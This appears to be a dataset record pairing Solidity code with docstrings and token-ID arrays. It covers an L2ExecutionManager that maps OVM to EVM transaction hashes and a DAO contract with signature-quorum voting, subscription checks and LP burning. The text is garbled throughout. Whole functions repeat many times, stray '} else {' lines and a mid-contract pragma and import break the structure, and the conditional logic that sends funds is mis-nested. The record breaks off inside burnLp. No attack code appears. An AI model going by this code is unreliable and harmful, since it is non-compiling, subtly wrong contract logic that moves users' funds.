* @notice Stores the provided OVM transaction, mapping its hash to its value and its hash to the EVM tx hash
with which it's associated.
* @param ovmTransactionHash The OVM transaction hash, used publicly as the reference to the transaction.
* @param internalTransactionHash The internal transaction hash of the transaction actually executed.
* @param signedOvmTx The signed OVM tx that we received
*/
function storeOvmTransaction(
bytes32 ovmTransactionHash,
bytes32 internalTransactionHash,
bytes memory signedOvmTx
) public {
evmHashToOvmHash[internalTransactionHash] = ovmTransactionHash;
ovmHashToEvmHash[ovmTransactionHash] = internalTransactionHash;
ovmHashToOvmTx[ovmTransactionHash] = signedOvmTx;
}
/**
* @notice Gets the OVM transaction hash associated with the provided EVM transaction hash.
* @param evmTransactionHash The EVM transaction hash.
* @return The associated OVM transaction hash.
*/
function getOvmTransactionHash(
bytes32 evmTransactionHash
) public view returns (bytes32) {
return evmHashToOvmHash[evmTransactionHash];
}
/**
* @notice Gets the EVM transaction hash associated with the provided OVM transaction hash.
* @param ovmTransactionHash The OVM transaction hash.
* @return The associated EVM transaction hash.
*/
function getInternalTransactionHash(
bytes32 ovmTransactionHash
) public view returns (bytes32) {
return ovmHashToEvmHash[ovmTransactionHash];
}
/**
* @notice Gets the OVM transaction associated with the provided OVM transaction hash.
* @param ovmTransactionHash The OVM transaction hash.
* @return The associated signed OVM transaction.
*/
function getOvmTransaction(
bytes32 ovmTransactionHash
) public view returns (bytes memory) {
return ovmHashToOvmTx[ovmTransactionHash];
}
}
| * @title L2ExecutionManager @notice This extension of ExecutionManager that should only run in L2 because it has optimistic execution details that are unnecessary and inefficient to run in L1./ | contract L2ExecutionManager is ExecutionManager {
mapping(bytes32 => bytes32) ovmHashToEvmHash;
mapping(bytes32 => bytes32) evmHashToOvmHash;
mapping(bytes32 => bytes) ovmHashToOvmTx;
constructor(
uint256 _opcodeWhitelistMask,
address _owner,
uint _gasLimit,
bool _overrideSafetyChecker
) ExecutionManager(
_opcodeWhitelistMask,
_owner,
_gasLimit,
_overrideSafetyChecker
with which it's associated.
function storeOvmTransaction(
bytes32 ovmTransactionHash,
bytes32 internalTransactionHash,
bytes memory signedOvmTx
import { ExecutionManager } from "./ExecutionManager.sol";
) public {}
) public {
evmHashToOvmHash[internalTransactionHash] = ovmTransactionHash;
ovmHashToEvmHash[ovmTransactionHash] = internalTransactionHash;
ovmHashToOvmTx[ovmTransactionHash] = signedOvmTx;
}
function getOvmTransactionHash(
bytes32 evmTransactionHash
) public view returns (bytes32) {
return evmHashToOvmHash[evmTransactionHash];
}
function getInternalTransactionHash(
bytes32 ovmTransactionHash
) public view returns (bytes32) {
return ovmHashToEvmHash[ovmTransactionHash];
}
function getOvmTransaction(
bytes32 ovmTransactionHash
) public view returns (bytes memory) {
return ovmHashToOvmTx[ovmTransactionHash];
}
}
| 938,837 | [
1,
48,
22,
3210,
1318,
225,
1220,
2710,
434,
8687,
1318,
716,
1410,
1338,
1086,
316,
511,
22,
2724,
518,
711,
5213,
5846,
4588,
3189,
540,
716,
854,
19908,
471,
316,
25403,
358,
1086,
316,
511,
21,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
511,
22,
3210,
1318,
353,
8687,
1318,
288,
203,
203,
565,
2874,
12,
3890,
1578,
516,
1731,
1578,
13,
320,
3489,
2310,
774,
41,
3489,
2310,
31,
203,
565,
2874,
12,
3890,
1578,
516,
1731,
1578,
13,
2113,
81,
2310,
774,
51,
3489,
2310,
31,
203,
565,
2874,
12,
3890,
1578,
516,
1731,
13,
320,
3489,
2310,
774,
51,
3489,
4188,
31,
203,
203,
203,
203,
565,
3885,
12,
203,
3639,
2254,
5034,
389,
556,
710,
18927,
5796,
16,
203,
3639,
1758,
389,
8443,
16,
203,
3639,
2254,
389,
31604,
3039,
16,
203,
3639,
1426,
389,
10601,
26946,
14369,
8847,
203,
565,
262,
8687,
1318,
12,
203,
3639,
389,
556,
710,
18927,
5796,
16,
203,
3639,
389,
8443,
16,
203,
3639,
389,
31604,
3039,
16,
203,
3639,
389,
10601,
26946,
14369,
8847,
203,
203,
203,
203,
5411,
598,
1492,
518,
1807,
3627,
18,
203,
565,
445,
1707,
51,
3489,
3342,
12,
203,
3639,
1731,
1578,
320,
3489,
3342,
2310,
16,
203,
3639,
1731,
1578,
2713,
3342,
2310,
16,
203,
3639,
1731,
3778,
6726,
51,
3489,
4188,
203,
5666,
288,
8687,
1318,
289,
628,
25165,
3210,
1318,
18,
18281,
14432,
203,
565,
262,
1071,
2618,
203,
565,
262,
1071,
288,
203,
3639,
2113,
81,
2310,
774,
51,
3489,
2310,
63,
7236,
3342,
2310,
65,
273,
320,
3489,
3342,
2310,
31,
203,
3639,
320,
3489,
2310,
774,
41,
3489,
2310,
63,
1527,
81,
3342,
2310,
65,
273,
2713,
3342,
2310,
31,
203,
3639,
320,
3489,
2310,
774,
51,
3489,
4188,
63,
1527,
81,
3342,
2310,
2
] |
./full_match/8453/0x72cc6E4DE47f673062c41C67505188144a0a3D84/sources/contracts/core/Dao.sol | These addresses can rule without voting These contracts help burn LP's Factory Address Shop Address LP Token Address Quorum >=1 <=100 Executed Voting | contract Dao is ReentrancyGuard, ERC20 {
using EnumerableSet for EnumerableSet.AddressSet;
using SafeERC20 for IERC20;
using Address for address;
using Address for address payable;
using ECDSA for bytes32;
uint32 public constant VOTING_DURATION = 3 days;
EnumerableSet.AddressSet private permitted;
EnumerableSet.AddressSet private adapters;
address public immutable factory;
address public immutable shop;
address public lp = address(0);
uint8 public quorum;
██ ██ ██████ █████ ██████ ██████ █████ ██████
pragma solidity ^0.8.6;
struct ExecutedVoting {
address target;
bytes data;
uint256 value;
uint256 nonce;
uint256 timestamp;
uint256 executionTimestamp;
bytes32 txHash;
bytes[] sigs;
}
ExecutedVoting[] internal executedVoting;
mapping(bytes32 => bool) public executedTx;
struct ExecutedPermitted {
address target;
bytes data;
uint256 value;
uint256 executionTimestamp;
address executor;
}
ExecutedPermitted[] public executedPermitted;
bool public burnable = true;
event Executed(
address indexed target,
bytes data,
uint256 value,
uint256 indexed nonce,
uint256 timestamp,
uint256 executionTimestamp,
bytes32 txHash,
bytes[] sigs
);
event ExecutedP(
address indexed target,
bytes data,
uint256 value,
address indexed executor
);
bool public mintable = true;
modifier onlyDao() {
require(
msg.sender == address(this),
"DAO: this function is only for DAO"
);
_;
}
constructor(
string memory _name,
string memory _symbol,
uint8 _quorum,
address[] memory _partners,
uint256[] memory _shares
) ERC20(_name, _symbol) {
factory = msg.sender;
shop = IFactory(msg.sender).shop();
require(
_quorum >= 1 && _quorum <= 100,
"DAO: quorum should be 1 <= q <= 100"
);
quorum = _quorum;
require(
_partners.length > 0 && _partners.length == _shares.length,
"DAO: shares distribution is invalid"
);
for (uint256 i = 0; i < _partners.length; i++) {
_mint(_partners[i], _shares[i]);
}
}
) ERC20(_name, _symbol) {
factory = msg.sender;
shop = IFactory(msg.sender).shop();
require(
_quorum >= 1 && _quorum <= 100,
"DAO: quorum should be 1 <= q <= 100"
);
quorum = _quorum;
require(
_partners.length > 0 && _partners.length == _shares.length,
"DAO: shares distribution is invalid"
);
for (uint256 i = 0; i < _partners.length; i++) {
_mint(_partners[i], _shares[i]);
}
}
function executePermitted(
address _target,
bytes calldata _data,
uint256 _value
) external nonReentrant returns (bool) {
require(checkSubscription(), "DAO: subscription not paid");
require(permitted.contains(msg.sender), "DAO: only for permitted");
executedPermitted.push(
ExecutedPermitted({
target: _target,
data: _data,
value: _value,
executionTimestamp: block.timestamp,
executor: msg.sender
})
);
emit ExecutedP(_target, _data, _value, msg.sender);
if (_data.length == 0) {
payable(_target).sendValue(_value);
if (_value == 0) {
_target.functionCall(_data);
_target.functionCallWithValue(_data, _value);
}
}
return true;
}
function executePermitted(
address _target,
bytes calldata _data,
uint256 _value
) external nonReentrant returns (bool) {
require(checkSubscription(), "DAO: subscription not paid");
require(permitted.contains(msg.sender), "DAO: only for permitted");
executedPermitted.push(
ExecutedPermitted({
target: _target,
data: _data,
value: _value,
executionTimestamp: block.timestamp,
executor: msg.sender
})
);
emit ExecutedP(_target, _data, _value, msg.sender);
if (_data.length == 0) {
payable(_target).sendValue(_value);
if (_value == 0) {
_target.functionCall(_data);
_target.functionCallWithValue(_data, _value);
}
}
return true;
}
function executePermitted(
address _target,
bytes calldata _data,
uint256 _value
) external nonReentrant returns (bool) {
require(checkSubscription(), "DAO: subscription not paid");
require(permitted.contains(msg.sender), "DAO: only for permitted");
executedPermitted.push(
ExecutedPermitted({
target: _target,
data: _data,
value: _value,
executionTimestamp: block.timestamp,
executor: msg.sender
})
);
emit ExecutedP(_target, _data, _value, msg.sender);
if (_data.length == 0) {
payable(_target).sendValue(_value);
if (_value == 0) {
_target.functionCall(_data);
_target.functionCallWithValue(_data, _value);
}
}
return true;
}
} else {
function executePermitted(
address _target,
bytes calldata _data,
uint256 _value
) external nonReentrant returns (bool) {
require(checkSubscription(), "DAO: subscription not paid");
require(permitted.contains(msg.sender), "DAO: only for permitted");
executedPermitted.push(
ExecutedPermitted({
target: _target,
data: _data,
value: _value,
executionTimestamp: block.timestamp,
executor: msg.sender
})
);
emit ExecutedP(_target, _data, _value, msg.sender);
if (_data.length == 0) {
payable(_target).sendValue(_value);
if (_value == 0) {
_target.functionCall(_data);
_target.functionCallWithValue(_data, _value);
}
}
return true;
}
} else {
function execute(
address _target,
bytes calldata _data,
uint256 _value,
uint256 _nonce,
uint256 _timestamp,
bytes[] memory _sigs
) external nonReentrant returns (bool) {
require(checkSubscription(), "DAO: subscription not paid");
require(balanceOf(msg.sender) > 0, "DAO: only for members");
require(
_timestamp + VOTING_DURATION >= block.timestamp,
"DAO: voting is over"
);
bytes32 txHash = getTxHash(_target, _data, _value, _nonce, _timestamp);
require(!executedTx[txHash], "DAO: voting already executed");
require(_checkSigs(_sigs, txHash), "DAO: quorum is not reached");
executedTx[txHash] = true;
executedVoting.push(
ExecutedVoting({
target: _target,
data: _data,
value: _value,
nonce: _nonce,
timestamp: _timestamp,
executionTimestamp: block.timestamp,
txHash: txHash,
sigs: _sigs
})
);
emit Executed(
_target,
_data,
_value,
_nonce,
_timestamp,
block.timestamp,
txHash,
_sigs
);
if (_data.length == 0) {
payable(_target).sendValue(_value);
if (_value == 0) {
_target.functionCall(_data);
_target.functionCallWithValue(_data, _value);
}
}
return true;
}
function execute(
address _target,
bytes calldata _data,
uint256 _value,
uint256 _nonce,
uint256 _timestamp,
bytes[] memory _sigs
) external nonReentrant returns (bool) {
require(checkSubscription(), "DAO: subscription not paid");
require(balanceOf(msg.sender) > 0, "DAO: only for members");
require(
_timestamp + VOTING_DURATION >= block.timestamp,
"DAO: voting is over"
);
bytes32 txHash = getTxHash(_target, _data, _value, _nonce, _timestamp);
require(!executedTx[txHash], "DAO: voting already executed");
require(_checkSigs(_sigs, txHash), "DAO: quorum is not reached");
executedTx[txHash] = true;
executedVoting.push(
ExecutedVoting({
target: _target,
data: _data,
value: _value,
nonce: _nonce,
timestamp: _timestamp,
executionTimestamp: block.timestamp,
txHash: txHash,
sigs: _sigs
})
);
emit Executed(
_target,
_data,
_value,
_nonce,
_timestamp,
block.timestamp,
txHash,
_sigs
);
if (_data.length == 0) {
payable(_target).sendValue(_value);
if (_value == 0) {
_target.functionCall(_data);
_target.functionCallWithValue(_data, _value);
}
}
return true;
}
function execute(
address _target,
bytes calldata _data,
uint256 _value,
uint256 _nonce,
uint256 _timestamp,
bytes[] memory _sigs
) external nonReentrant returns (bool) {
require(checkSubscription(), "DAO: subscription not paid");
require(balanceOf(msg.sender) > 0, "DAO: only for members");
require(
_timestamp + VOTING_DURATION >= block.timestamp,
"DAO: voting is over"
);
bytes32 txHash = getTxHash(_target, _data, _value, _nonce, _timestamp);
require(!executedTx[txHash], "DAO: voting already executed");
require(_checkSigs(_sigs, txHash), "DAO: quorum is not reached");
executedTx[txHash] = true;
executedVoting.push(
ExecutedVoting({
target: _target,
data: _data,
value: _value,
nonce: _nonce,
timestamp: _timestamp,
executionTimestamp: block.timestamp,
txHash: txHash,
sigs: _sigs
})
);
emit Executed(
_target,
_data,
_value,
_nonce,
_timestamp,
block.timestamp,
txHash,
_sigs
);
if (_data.length == 0) {
payable(_target).sendValue(_value);
if (_value == 0) {
_target.functionCall(_data);
_target.functionCallWithValue(_data, _value);
}
}
return true;
}
} else {
function execute(
address _target,
bytes calldata _data,
uint256 _value,
uint256 _nonce,
uint256 _timestamp,
bytes[] memory _sigs
) external nonReentrant returns (bool) {
require(checkSubscription(), "DAO: subscription not paid");
require(balanceOf(msg.sender) > 0, "DAO: only for members");
require(
_timestamp + VOTING_DURATION >= block.timestamp,
"DAO: voting is over"
);
bytes32 txHash = getTxHash(_target, _data, _value, _nonce, _timestamp);
require(!executedTx[txHash], "DAO: voting already executed");
require(_checkSigs(_sigs, txHash), "DAO: quorum is not reached");
executedTx[txHash] = true;
executedVoting.push(
ExecutedVoting({
target: _target,
data: _data,
value: _value,
nonce: _nonce,
timestamp: _timestamp,
executionTimestamp: block.timestamp,
txHash: txHash,
sigs: _sigs
})
);
emit Executed(
_target,
_data,
_value,
_nonce,
_timestamp,
block.timestamp,
txHash,
_sigs
);
if (_data.length == 0) {
payable(_target).sendValue(_value);
if (_value == 0) {
_target.functionCall(_data);
_target.functionCallWithValue(_data, _value);
}
}
return true;
}
} else {
function getTxHash(
address _target,
bytes calldata _data,
uint256 _value,
uint256 _nonce,
uint256 _timestamp
) public view returns (bytes32) {
return
keccak256(
abi.encode(
address(this),
_target,
_data,
_value,
_nonce,
_timestamp,
block.chainid
)
);
}
function _checkSigs(bytes[] memory _sigs, bytes32 _txHash)
internal
view
returns (bool)
{
bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();
uint256 share = 0;
address[] memory signers = new address[](_sigs.length);
for (uint256 i = 0; i < _sigs.length; i++) {
address signer = ethSignedHash.recover(_sigs[i]);
signers[i] = signer;
}
require(!_hasDuplicate(signers), "DAO: signatures are not unique");
for (uint256 i = 0; i < signers.length; i++) {
share += balanceOf(signers[i]);
}
if (share * 100 < totalSupply() * quorum) {
return false;
}
return true;
}
function _checkSigs(bytes[] memory _sigs, bytes32 _txHash)
internal
view
returns (bool)
{
bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();
uint256 share = 0;
address[] memory signers = new address[](_sigs.length);
for (uint256 i = 0; i < _sigs.length; i++) {
address signer = ethSignedHash.recover(_sigs[i]);
signers[i] = signer;
}
require(!_hasDuplicate(signers), "DAO: signatures are not unique");
for (uint256 i = 0; i < signers.length; i++) {
share += balanceOf(signers[i]);
}
if (share * 100 < totalSupply() * quorum) {
return false;
}
return true;
}
function _checkSigs(bytes[] memory _sigs, bytes32 _txHash)
internal
view
returns (bool)
{
bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();
uint256 share = 0;
address[] memory signers = new address[](_sigs.length);
for (uint256 i = 0; i < _sigs.length; i++) {
address signer = ethSignedHash.recover(_sigs[i]);
signers[i] = signer;
}
require(!_hasDuplicate(signers), "DAO: signatures are not unique");
for (uint256 i = 0; i < signers.length; i++) {
share += balanceOf(signers[i]);
}
if (share * 100 < totalSupply() * quorum) {
return false;
}
return true;
}
function _checkSigs(bytes[] memory _sigs, bytes32 _txHash)
internal
view
returns (bool)
{
bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();
uint256 share = 0;
address[] memory signers = new address[](_sigs.length);
for (uint256 i = 0; i < _sigs.length; i++) {
address signer = ethSignedHash.recover(_sigs[i]);
signers[i] = signer;
}
require(!_hasDuplicate(signers), "DAO: signatures are not unique");
for (uint256 i = 0; i < signers.length; i++) {
share += balanceOf(signers[i]);
}
if (share * 100 < totalSupply() * quorum) {
return false;
}
return true;
}
function checkSubscription() public view returns (bool) {
if (
IFactory(factory).monthlyCost() > 0 &&
IFactory(factory).subscriptions(address(this)) < block.timestamp
) {
return false;
}
return true;
}
function checkSubscription() public view returns (bool) {
if (
IFactory(factory).monthlyCost() > 0 &&
IFactory(factory).subscriptions(address(this)) < block.timestamp
) {
return false;
}
return true;
}
function burnLp(
address _recipient,
uint256 _share,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
require(lp != address(0), "DAO: LP not set yet");
require(msg.sender == lp, "DAO: only for LP");
require(
!_hasDuplicate(_tokens),
"DAO: duplicates are prohibited (tokens)"
);
for (uint256 i = 0; i < _tokens.length; i++) {
require(
_tokens[i] != lp && _tokens[i] != address(this),
"DAO: LP and GT cannot be part of a share"
);
}
require(_adapters.length == _pools.length, "DAO: adapters error");
if (_adapters.length > 0) {
uint256 length = _adapters.length;
if (length > 1) {
for (uint256 i = 0; i < length - 1; i++) {
for (uint256 j = i + 1; j < length; j++) {
require(
!(_adapters[i] == _adapters[j] &&
_pools[i] == _pools[j]),
"DAO: duplicates are prohibited (adapters)"
);
}
}
}
}
payable(_recipient).sendValue((address(this).balance * _share) / 1e18);
if (_tokens.length > 0) {
uint256[] memory _tokenShares = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
_tokenShares[i] = ((IERC20(_tokens[i]).balanceOf(
address(this)
) * _share) / 1e18);
}
for (uint256 i = 0; i < _tokens.length; i++) {
IERC20(_tokens[i]).safeTransfer(_recipient, _tokenShares[i]);
}
}
if (_adapters.length > 0) {
uint256 length = _adapters.length;
for (uint256 i = 0; i < length; i++) {
require(
adapters.contains(_adapters[i]),
"DAO: this is not an adapter"
);
require(
permitted.contains(_adapters[i]),
"DAO: this adapter is not permitted"
);
bool b = IAdapter(_adapters[i]).withdraw(
_recipient,
_pools[i],
_share
);
require(b, "DAO: withdrawal error");
}
}
return true;
}
function burnLp(
address _recipient,
uint256 _share,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
require(lp != address(0), "DAO: LP not set yet");
require(msg.sender == lp, "DAO: only for LP");
require(
!_hasDuplicate(_tokens),
"DAO: duplicates are prohibited (tokens)"
);
for (uint256 i = 0; i < _tokens.length; i++) {
require(
_tokens[i] != lp && _tokens[i] != address(this),
"DAO: LP and GT cannot be part of a share"
);
}
require(_adapters.length == _pools.length, "DAO: adapters error");
if (_adapters.length > 0) {
uint256 length = _adapters.length;
if (length > 1) {
for (uint256 i = 0; i < length - 1; i++) {
for (uint256 j = i + 1; j < length; j++) {
require(
!(_adapters[i] == _adapters[j] &&
_pools[i] == _pools[j]),
"DAO: duplicates are prohibited (adapters)"
);
}
}
}
}
payable(_recipient).sendValue((address(this).balance * _share) / 1e18);
if (_tokens.length > 0) {
uint256[] memory _tokenShares = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
_tokenShares[i] = ((IERC20(_tokens[i]).balanceOf(
address(this)
) * _share) / 1e18);
}
for (uint256 i = 0; i < _tokens.length; i++) {
IERC20(_tokens[i]).safeTransfer(_recipient, _tokenShares[i]);
}
}
if (_adapters.length > 0) {
uint256 length = _adapters.length;
for (uint256 i = 0; i < length; i++) {
require(
adapters.contains(_adapters[i]),
"DAO: this is not an adapter"
);
require(
permitted.contains(_adapters[i]),
"DAO: this adapter is not permitted"
);
bool b = IAdapter(_adapters[i]).withdraw(
_recipient,
_pools[i],
_share
);
require(b, "DAO: withdrawal error");
}
}
return true;
}
function burnLp(
address _recipient,
uint256 _share,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
require(lp != address(0), "DAO: LP not set yet");
require(msg.sender == lp, "DAO: only for LP");
require(
!_hasDuplicate(_tokens),
"DAO: duplicates are prohibited (tokens)"
);
for (uint256 i = 0; i < _tokens.length; i++) {
require(
_tokens[i] != lp && _tokens[i] != address(this),
"DAO: LP and GT cannot be part of a share"
);
}
require(_adapters.length == _pools.length, "DAO: adapters error");
if (_adapters.length > 0) {
uint256 length = _adapters.length;
if (length > 1) {
for (uint256 i = 0; i < length - 1; i++) {
for (uint256 j = i + 1; j < length; j++) {
require(
!(_adapters[i] == _adapters[j] &&
_pools[i] == _pools[j]),
"DAO: duplicates are prohibited (adapters)"
);
}
}
}
}
payable(_recipient).sendValue((address(this).balance * _share) / 1e18);
if (_tokens.length > 0) {
uint256[] memory _tokenShares = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
_tokenShares[i] = ((IERC20(_tokens[i]).balanceOf(
address(this)
) * _share) / 1e18);
}
for (uint256 i = 0; i < _tokens.length; i++) {
IERC20(_tokens[i]).safeTransfer(_recipient, _tokenShares[i]);
}
}
if (_adapters.length > 0) {
uint256 length = _adapters.length;
for (uint256 i = 0; i < length; i++) {
require(
adapters.contains(_adapters[i]),
"DAO: this is not an adapter"
);
require(
permitted.contains(_adapters[i]),
"DAO: this adapter is not permitted"
);
bool b = IAdapter(_adapters[i]).withdraw(
_recipient,
_pools[i],
_share
);
require(b, "DAO: withdrawal error");
}
}
return true;
}
function burnLp(
address _recipient,
uint256 _share,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
require(lp != address(0), "DAO: LP not set yet");
require(msg.sender == lp, "DAO: only for LP");
require(
!_hasDuplicate(_tokens),
"DAO: duplicates are prohibited (tokens)"
);
for (uint256 i = 0; i < _tokens.length; i++) {
require(
_tokens[i] != lp && _tokens[i] != address(this),
"DAO: LP and GT cannot be part of a share"
);
}
require(_adapters.length == _pools.length, "DAO: adapters error");
if (_adapters.length > 0) {
uint256 length = _adapters.length;
if (length > 1) {
for (uint256 i = 0; i < length - 1; i++) {
for (uint256 j = i + 1; j < length; j++) {
require(
!(_adapters[i] == _adapters[j] &&
_pools[i] == _pools[j]),
"DAO: duplicates are prohibited (adapters)"
);
}
}
}
}
payable(_recipient).sendValue((address(this).balance * _share) / 1e18);
if (_tokens.length > 0) {
uint256[] memory _tokenShares = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
_tokenShares[i] = ((IERC20(_tokens[i]).balanceOf(
address(this)
) * _share) / 1e18);
}
for (uint256 i = 0; i < _tokens.length; i++) {
IERC20(_tokens[i]).safeTransfer(_recipient, _tokenShares[i]);
}
}
if (_adapters.length > 0) {
uint256 length = _adapters.length;
for (uint256 i = 0; i < length; i++) {
require(
adapters.contains(_adapters[i]),
"DAO: this is not an adapter"
);
require(
permitted.contains(_adapters[i]),
"DAO: this adapter is not permitted"
);
bool b = IAdapter(_adapters[i]).withdraw(
_recipient,
_pools[i],
_share
);
require(b, "DAO: withdrawal error");
}
}
return true;
}
function burnLp(
address _recipient,
uint256 _share,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
require(lp != address(0), "DAO: LP not set yet");
require(msg.sender == lp, "DAO: only for LP");
require(
!_hasDuplicate(_tokens),
"DAO: duplicates are prohibited (tokens)"
);
for (uint256 i = 0; i < _tokens.length; i++) {
require(
_tokens[i] != lp && _tokens[i] != address(this),
"DAO: LP and GT cannot be part of a share"
);
}
require(_adapters.length == _pools.length, "DAO: adapters error");
if (_adapters.length > 0) {
uint256 length = _adapters.length;
if (length > 1) {
for (uint256 i = 0; i < length - 1; i++) {
for (uint256 j = i + 1; j < length; j++) {
require(
!(_adapters[i] == _adapters[j] &&
_pools[i] == _pools[j]),
"DAO: duplicates are prohibited (adapters)"
);
}
}
}
}
payable(_recipient).sendValue((address(this).balance * _share) / 1e18);
if (_tokens.length > 0) {
uint256[] memory _tokenShares = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
_tokenShares[i] = ((IERC20(_tokens[i]).balanceOf(
address(this)
) * _share) / 1e18);
}
for (uint256 i = 0; i < _tokens.length; i++) {
IERC20(_tokens[i]).safeTransfer(_recipient, _tokenShares[i]);
}
}
if (_adapters.length > 0) {
uint256 length = _adapters.length;
for (uint256 i = 0; i < length; i++) {
require(
adapters.contains(_adapters[i]),
"DAO: this is not an adapter"
);
require(
permitted.contains(_adapters[i]),
"DAO: this adapter is not permitted"
);
bool b = IAdapter(_adapters[i]).withdraw(
_recipient,
_pools[i],
_share
);
require(b, "DAO: withdrawal error");
}
}
return true;
}
function burnLp(
address _recipient,
uint256 _share,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
require(lp != address(0), "DAO: LP not set yet");
require(msg.sender == lp, "DAO: only for LP");
require(
!_hasDuplicate(_tokens),
"DAO: duplicates are prohibited (tokens)"
);
for (uint256 i = 0; i < _tokens.length; i++) {
require(
_tokens[i] != lp && _tokens[i] != address(this),
"DAO: LP and GT cannot be part of a share"
);
}
require(_adapters.length == _pools.length, "DAO: adapters error");
if (_adapters.length > 0) {
uint256 length = _adapters.length;
if (length > 1) {
for (uint256 i = 0; i < length - 1; i++) {
for (uint256 j = i + 1; j < length; j++) {
require(
!(_adapters[i] == _adapters[j] &&
_pools[i] == _pools[j]),
"DAO: duplicates are prohibited (adapters)"
);
}
}
}
}
payable(_recipient).sendValue((address(this).balance * _share) / 1e18);
if (_tokens.length > 0) {
uint256[] memory _tokenShares = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
_tokenShares[i] = ((IERC20(_tokens[i]).balanceOf(
address(this)
) * _share) / 1e18);
}
for (uint256 i = 0; i < _tokens.length; i++) {
IERC20(_tokens[i]).safeTransfer(_recipient, _tokenShares[i]);
}
}
if (_adapters.length > 0) {
uint256 length = _adapters.length;
for (uint256 i = 0; i < length; i++) {
require(
adapters.contains(_adapters[i]),
"DAO: this is not an adapter"
);
require(
permitted.contains(_adapters[i]),
"DAO: this adapter is not permitted"
);
bool b = IAdapter(_adapters[i]).withdraw(
_recipient,
_pools[i],
_share
);
require(b, "DAO: withdrawal error");
}
}
return true;
}
function burnLp(
address _recipient,
uint256 _share,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
require(lp != address(0), "DAO: LP not set yet");
require(msg.sender == lp, "DAO: only for LP");
require(
!_hasDuplicate(_tokens),
"DAO: duplicates are prohibited (tokens)"
);
for (uint256 i = 0; i < _tokens.length; i++) {
require(
_tokens[i] != lp && _tokens[i] != address(this),
"DAO: LP and GT cannot be part of a share"
);
}
require(_adapters.length == _pools.length, "DAO: adapters error");
if (_adapters.length > 0) {
uint256 length = _adapters.length;
if (length > 1) {
for (uint256 i = 0; i < length - 1; i++) {
for (uint256 j = i + 1; j < length; j++) {
require(
!(_adapters[i] == _adapters[j] &&
_pools[i] == _pools[j]),
"DAO: duplicates are prohibited (adapters)"
);
}
}
}
}
payable(_recipient).sendValue((address(this).balance * _share) / 1e18);
if (_tokens.length > 0) {
uint256[] memory _tokenShares = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
_tokenShares[i] = ((IERC20(_tokens[i]).balanceOf(
address(this)
) * _share) / 1e18);
}
for (uint256 i = 0; i < _tokens.length; i++) {
IERC20(_tokens[i]).safeTransfer(_recipient, _tokenShares[i]);
}
}
if (_adapters.length > 0) {
uint256 length = _adapters.length;
for (uint256 i = 0; i < length; i++) {
require(
adapters.contains(_adapters[i]),
"DAO: this is not an adapter"
);
require(
permitted.contains(_adapters[i]),
"DAO: this adapter is not permitted"
);
bool b = IAdapter(_adapters[i]).withdraw(
_recipient,
_pools[i],
_share
);
require(b, "DAO: withdrawal error");
}
}
return true;
}
function burnLp(
address _recipient,
uint256 _share,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
require(lp != address(0), "DAO: LP not set yet");
require(msg.sender == lp, "DAO: only for LP");
require(
!_hasDuplicate(_tokens),
"DAO: duplicates are prohibited (tokens)"
);
for (uint256 i = 0; i < _tokens.length; i++) {
require(
_tokens[i] != lp && _tokens[i] != address(this),
"DAO: LP and GT cannot be part of a share"
);
}
require(_adapters.length == _pools.length, "DAO: adapters error");
if (_adapters.length > 0) {
uint256 length = _adapters.length;
if (length > 1) {
for (uint256 i = 0; i < length - 1; i++) {
for (uint256 j = i + 1; j < length; j++) {
require(
!(_adapters[i] == _adapters[j] &&
_pools[i] == _pools[j]),
"DAO: duplicates are prohibited (adapters)"
);
}
}
}
}
payable(_recipient).sendValue((address(this).balance * _share) / 1e18);
if (_tokens.length > 0) {
uint256[] memory _tokenShares = new uint256[](_tokens.length);
